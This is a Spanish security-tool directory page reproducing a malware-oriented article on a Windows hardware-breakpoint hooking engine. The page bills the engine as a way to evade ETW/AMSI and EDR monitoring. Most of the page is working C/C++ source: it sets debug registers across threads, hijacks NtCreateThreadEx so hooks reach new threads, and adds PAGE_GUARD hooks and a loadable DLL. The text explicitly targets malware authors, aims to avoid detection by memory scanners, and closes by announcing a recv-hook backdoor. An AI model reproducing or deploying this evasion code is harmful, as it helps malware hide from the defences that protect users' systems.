Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hwbp4mw — Motor de hooking por puntos de interrupción de hardware para Windows que utiliza registros de depuración para hookear funciones, evadir ETW/AMSI y eludir la supervisión de EDR en el espacio de usuario. | Kitploit
Herramientas/GitHubGitHub/rad9800/hwbp4mw
Evasión de IDS/IPSDepuradoresPost-ExplotaciónRed TeamingAtaque Adversario
GitHubrad9800/hwbp4mw

hwbp4mw

Motor de hooking por puntos de interrupción de hardware para Windows que utiliza registros de depuración para hookear funciones, evadir ETW/AMSI y eludir la supervisión de EDR en el espacio de usuario.

Ver Repositorio
273545hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Este artículo fue originalmente para VX-Underground Black Mass Halloween Edition 2022.

Motores de hooking:

  • Motor de hooking hwbp x86/x64 seguro para subprocesos c
  • Librería de breakpoints PAGE_GUARD/hwbp c++20
  • Librería hwbp (ejemplo DLL) c++20

Técnica genérica de evasión en user-land x64 utilizando registros de depuración:

  • TamperingSyscalls2 c
  • TamperingSyscalls2 c++20

Ejemplos de hooks ETW/AMSI disponibles

  • rad9800/misc

Breakpoints de Hardware para Malware v 1.0

Nuestra tarea es hookear funciones de forma trivial y desviar el flujo de código según sea necesario, y finalmente eliminar el hook una vez que ya no se necesite.

No podemos recurrir a hooks de IAT, ya que no siempre se invocan y por lo tanto no son fiables. El hooking inline es una técnica potente; sin embargo, requiere que parcheemos la memoria donde se encuentra el código. Esta es una técnica poderosa, pero herramientas como PE-Sieve y Moneta pueden distinguir la diferencia entre la copia en memoria y la copia en disco de un módulo y señalar esto. Esto nos deja con la herramienta perfecta para el trabajo: los registros de depuración, aunque están bastante infravalorados por los autores de malware.

En Windows, como visión general de alto nivel, un proceso es esencialmente una encapsulación de hilos, y cada uno de estos hilos mantiene un contexto que es el estado del hilo: los registros y la pila, etc. Los registros de depuración son un recurso privilegiado, y también lo es establecerlos; sin embargo, Windows expone varias syscalls que nos permiten solicitar que el kernel realice una acción privilegiada en nuestro nombre; esto incluye establecer los registros de depuración, lo cual es perfecto para nosotros. NtSetThreadContext y NtGetThreadContext exponen funcionalidad para modificar cualquier contexto de hilo al que podamos abrir un manejador con el privilegio necesario. Podemos ver cómo establecer los registros de depuración con la API Win32.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
// set our debug information in the Dr registers

SetThreadContext(thd, &context);
root@kitploit:~
Hay 8 registros de depuración, de Dr0 a Dr7. Los que nos interesan son solo
Dr0-3, en los que almacenamos las direcciones en las que queremos detenernos, y Dr6 es solo el estado de depuración.
Lo más importante es Dr7, que describe las condiciones de los puntos de interrupción bajo las cuales el
procesador lanzará una excepción. Hay varias limitaciones al usar registros de depuración,
como un número limitado (4) y no aplicarse a todos los hilos/hilos recién creados.
¡Veremos cómo abordar algunas de estas limitaciones!

Cuando se lanza la excepción, buscará un manejador de excepciones que podemos definir
y registrar en nuestro programa [1]. En nuestro manejador de excepciones definido, queremos que nuestro
código asociado (diferentes flujos de código) se ejecute cuando se active el punto de interrupción correspondiente.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		// Look for our associated code flow relative to our RIP 
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

Esto se logra mediante una función constructora que establece la asignación entre una función lambda de "callback" y una dirección. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;

root@kitploit:~
Debemos iterar a través de todos los hilos de nuestro proceso y establecer los ajustes correspondientes al contexto para ellos. Esto se puede lograr utilizando las funciones auxiliares de ToolHelp32: CreateToolhelp32Snapshot y Thread32Next. Esto no es nada sofisticado, pero aborda una de nuestras limitaciones de no adjuntarnos a todos los hilos.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	DWORD pid{ GetCurrentProcessId() };
	HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

Tener puntos de interrupción de hardware establecidos es sin duda sospechoso, ya que pueden indicar actividad maliciosa (aunque, que yo sepa, ningún EDR los busca activamente). Pueden usarse en nuestra contra como un posible IoC, por lo que debemos eliminar sus rastros una vez que hayamos terminado de usarlos.

¡Podemos implementar esto en nuestra función deconstructor!! Esto iterará a través de todos los hilos y comprobará si el registro (&context.Dr0)[pos] apunta a la dirección en la que inicialmente establecimos el punto de interrupción de hardware (pos es solo un índice % 4 que nos da acceso a context.Dr0-Dr3). También podemos eliminar las condiciones necesarias en el registro Dr7. También debemos recordar eliminar nuestra entrada de mapeo. Por lo tanto, nuestro punto de interrupción de hardware solo estará presente durante el tiempo requerido!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);

root@kitploit:~
Un ejemplo de punto de interrupción de hardware sería Sleep, donde simplemente reemplazamos la duración del sleep por 0.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,	// Set Dr 0 
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
}) };

Sabemos que hay que establecer RCX debido a la convención de llamada rápida de cuatro registros de Windows x64[1]. El primer argumento del constructor es la dirección en la que se debe detener (break), el segundo es en qué registro Dr0- 3 se almacena (nota: solo podemos tener 4 direcciones de detención a la vez), y el tercero es una función lambda que capturará por referencia PEXCEPTION_POINTERS, que es la información que recibirá un manejador de excepciones. Esto nos permitirá en última instancia controlar el flujo de un programa de manera diferente según qué punto de interrupción se haya disparado.

Cuando se crea un nuevo hilo, este no hereda el conjunto de Debug Registers asociado a menos que de algún modo logremos interceptar la creación de un nuevo hilo! Un truco ingenioso que podemos usar sería capturar la dirección de inicio real y desviar el nuevo hilo para que cree nuestro propio hilo. La mayoría de los hilos nuevos terminan llamando a NtCreateThreadEx.```c // Global Variable PVOID START_THREAD{ 0 };

// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {

root@kitploit:~
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address 
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;

ExceptionInfo->ContextRecord->EFlags |= (1 << 16);

}) };

DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);

root@kitploit:~
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
	SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}

// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);

}

root@kitploit:~
Una limitación de esta solución es que la pila de llamadas del hilo se originará en
el HijackThread de nuestra DLL inyectada, ¡y no en el hilo original! Alternativamente, una mejor
solución sería llamar a NtCreateThreadEx nosotros mismos pero iniciarlo en un estado suspendido,
y luego establecer los puntos de interrupción de hardware necesarios. Después restauramos la ejecución reanudando el
hilo suspendido con los registros de depuración configurados para este nuevo hilo. Esto abordará
otra limitación del uso de registros de depuración.

Llamar a la instrucción sobre la que tenemos un punto de interrupción establecido provocaría un bucle infinito;
por lo tanto, deshabilitamos temporalmente el punto de interrupción de hardware responsable de activar nuestro
RIP actual. Luego, una vez que hayamos terminado de hacer la llamada, podemos restaurarlo. Esto nos permitirá
llamar a la función original (como un trampolín). En este caso, debemos apuntar nuestro RIP a
un gadget ret para que pueda retornar y no hacer otra instrucción syscall.

El quinto parámetro, y los siguientes, se pueden encontrar empujados en la pila a intervalos de 0x8 bytes
[2]. Nuestra pila se ve algo así cuando se dispara el punto de interrupción.```
                ___________________________
               |                           |
               | 0x8 + lpBytesBuffer       |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackReserve  |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackCommit   |
               |___________________________|
               |                           |
               | 0x8 + StackZeroBits       |
               |___________________________|
               |                           |
               | 0x8 + Flags               |
               |___________________________|
               |                           |
               | 0x8 + lpParameter         |
               |___________________________|
               |                           |
               | 0x8 + lpStartAddress      |
RSP + 0x28 +-> |___________________________|
               |                           |
               |                           |
               |                           |  R9  +-> (HANDLE)ProcessHandle
               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes
               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess
               |                           |  RCX +-> (PHANDLE) hThread
               |___________________________|
               |                           |
               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx
       RSP +-> |___________________________|

root@kitploit:~
// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

		// temporary disable of NtCreateThreadEx in our current thread.
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		// create the original thread BUT suspended 
		// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
		// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
		LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
			(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
			(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
			(PVOID)ExceptionInfo->ContextRecord->R8,
			(HANDLE)ExceptionInfo->ContextRecord->R9,
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
			(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
		);


		CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

		GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);
		
		// Setup required HWBP
		for (auto& i : HWBP_ADDRESS_MAP) {
			(&context.Dr0)[i.second.pos] = i.first;

			context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
			context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
			context.Dr7 |= 1ull << (2 * i.second.pos);
		}

		SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);

		ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

		// restore our HWBP on NtCreateThreadEx
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}
		
		// RAX contains the return value.
		ExceptionInfo->ContextRecord->Rax = status;

		// Set RIP to a ret gadget to avoid creating 
		// another new thread (skip syscall instruction) 
		ExceptionInfo->ContextRecord->Rip = 
			FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };

Comparto un motor de hooking de breakpoints de hardware que puedes usar, escrito en C++. El breakpoint de hardware de ejemplo establece un breakpoint en Dr0 en la función sleep, y establece el primer valor (en RCX) a 0, omitiendo todos los sleeps. Para establecer este breakpoint en todos los nuevos hilos que se creen en el futuro, puedes usar el ejemplo anterior, que utiliza Dr1.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>

#include <tlhelp32.h> #include

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

root@kitploit:~
				const HANDLE thd = 
								OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
				if (thd != INVALID_HANDLE_VALUE) {
					SetHWBP(thd, address, pos, init);
					CloseHandle(thd);
				}
			}
			te.dwSize = sizeof(te);
		} while (Thread32Next(h, &te));
	}
	CloseHandle(h);
}

}

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);

root@kitploit:~
	HWBP_ADDRESS_MAP[address].func = function;
	HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
	SetHWBPS(address, pos, false);
	HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
	RemoveHWBPS();
}

private: const uintptr_t address; UINT pos; };

// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {

root@kitploit:~
}; break;
case DLL_PROCESS_DETACH: {
	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;

}

////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Como discutimos anteriormente, mantener un conjunto de registros de depuración es una mala práctica. Por lo tanto,
complementaremos nuestro uso de registros de depuración con hooks de PAGE_GUARD, lo que nos permite liberar
uno de los registros de depuración: Dr1 (utilizado para NtCreateThreadEx).

Los PAGE_GUARD son esencialmente protecciones de memoria de un solo uso que lanzarán una excepción. Se
aplican a páginas en el nivel más bajo de granularidad de asignación presente en el sistema (
lo que a veces puede resultar un obstáculo). El hooking de PAGE_GUARD no es nada nuevo, pero
podemos usarlo para abordar algunas de nuestras limitaciones. Inicialmente aplicaremos nuestro PAGE_GUARD a
la dirección, y el PAGE_GUARD se activará lanzando una PAGE_GUARD_VIOLATION.

VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

Podemos aplicar el mismo concepto de mapear una lambda para que se active en una dirección específica.
Ejecutaremos paso a paso las instrucciones de la función en nuestra página actual mientras reaplicamos
el PAGE_GUARD. Esto es obviamente relativamente lento, pero tiene el beneficio de no ocupar
un registro de depuración. Por la razón principal de ser lento, optamos por no usarlos
principalmente.```c
typedef struct {
	EXCEPTION_FUNC								func;
} PG_CALLBACK;

std::unordered_map<uintptr_t, PG_CALLBACK>	PG_ADDRESS_MAP{ 0 };

PG_ADDRESS_MAP[address].func = function;

Para aplicar los hooks de registros de depuración a nuevos hilos, podemos simplemente copiar el ejemplo anterior de hookear NtCreateThreadEx pero eliminar los bucles donde deshabilitamos y restauramos los HWBPs para nuestro hilo actual.

Podemos introducir el segundo ejemplo de código donde hacemos el hook mencionado anteriormente de NtCreateThreadEx con PAGE_GUARDs. Como antes, nuestra función deconstructora eliminará la entrada en nuestro mapeo y eliminará las protecciones (si están establecidas).```c

////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>

#include <tlhelp32.h> #include // std::function

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;

typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }

VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
    (&context.Dr0)[pos] = address;

    context.Dr7 &= ~(3ull << (16 + 4 * pos));
    context.Dr7 &= ~(3ull << (18 + 4 * pos));
    context.Dr7 |= 1ull << (2 * pos);
}
else {
    if ((&context.Dr0)[pos] == address) {
        context.Dr7 &= ~(1ull << (2 * pos));
        (&context.Dr0)[pos] = NULL;
    }
}

SetThreadContext(thd, &context);

}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

root@kitploit:~
                const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                if (thd != INVALID_HANDLE_VALUE) {
                    SetHWBP(thd, address, pos, init);
                    CloseHandle(thd);
                }
            }
            te.dwSize = sizeof(te);
        } while (Thread32Next(h, &te));
    }
    CloseHandle(h);
}

}

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }

DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);

root@kitploit:~
return 0;

}

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);

root@kitploit:~
    HWBP_ADDRESS_MAP[address].func = function;
    HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
    SetHWBPS(address, pos, false);
    HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
    RemoveHWBPS();
}

private: const uintptr_t address; UINT pos; };

template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {

root@kitploit:~
    VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

    PG_ADDRESS_MAP[address].func = function;
}

VOID RemovePGEntry()
{
    VirtualProtect((LPVOID)address, 1, old, &old);
    PG_ADDRESS_MAP.erase(address);
}

~PGBP()
{
    RemovePGEntry();
}

private: DWORD old; const uintptr_t address; };

////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };

root@kitploit:~
HWBP HWBPSleep{
    (uintptr_t)&Sleep,
    1,
    ([&](PEXCEPTION_POINTERS ExceptionInfo) {
        printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
        ExceptionInfo->ContextRecord->Rcx = 0;
        ExceptionInfo->ContextRecord->EFlags |= (1 << 16);    // continue execution
}) };


PGBP VEHNtCreateThreadEx{
    (uintptr_t)GetProcAddress(
        GetModuleHandle(L"NTDLL.dll"),
        "NtCreateThreadEx"
    ),
([&](PEXCEPTION_POINTERS ExceptionInfo) {

        // create a new thread suspended
        LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
            (PHANDLE)ExceptionInfo->ContextRecord->Rcx,
            (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
            (PVOID)ExceptionInfo->ContextRecord->R8,
            (HANDLE)ExceptionInfo->ContextRecord->R9,
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
            (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
        );

        CONTEXT context{ 0 };
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

        GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        for (auto& i : HWBP_ADDRESS_MAP) {
            (&context.Dr0)[i.second.pos] = i.first;

            context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
            context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
            context.Dr7 |= 1ull << (2 * i.second.pos);
        }

        SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

        ExceptionInfo->ContextRecord->Rax = status;

        ExceptionInfo->ContextRecord->Rip =
            FindRetAddr(ExceptionInfo->ContextRecord->Rip);
    }) };


Sleep(1000000);

for (unsigned int i = 0; i < 2; ++i) {
    HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
    if (t) WaitForSingleObject(t, INFINITE);
}

if (handler) RemoveVectoredExceptionHandler(handler);

}

////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Habiendo aplicado la teoría para crear un motor versátil de hooking mediante breakpoints de hardware, continuaremos usando una combinación de registros de depuración y PAGE_GUARDs, como se mostró en nuestros ejemplos anteriores, para implementar una puerta trasera inspirada en SockDetour [3] como DLL en C++. Estableceremos un breakpoint de hardware en la función recv para lograrlo y construiremos la lógica necesaria en la lambda correspondiente. También aplicaremos un PAGE_GUARD a NtCreateThreadEx y usaremos nuestra técnica anterior de crear el hilo en estado suspendido para configurar los registros de depuración correctos.

A pesar de la naturaleza lenta de los hooks con PAGE_GUARD, esto no debería ser un problema siempre que el modelo de servidor no cree un nuevo hilo por cada petición, lo que daría lugar a un rendimiento subóptimo. La mayoría de los modelos de servidor de red mantienen un pool de hilos que se inician e inicializan al arrancar el programa. Para obtener más información sobre estos modelos de servidor, Microsoft ofrece varios ejemplos en Github [4]; el ejemplo de IOCP es un excelente ejemplo de cómo se ve un modelo de servidor escalable y de alto rendimiento para contextualizar.

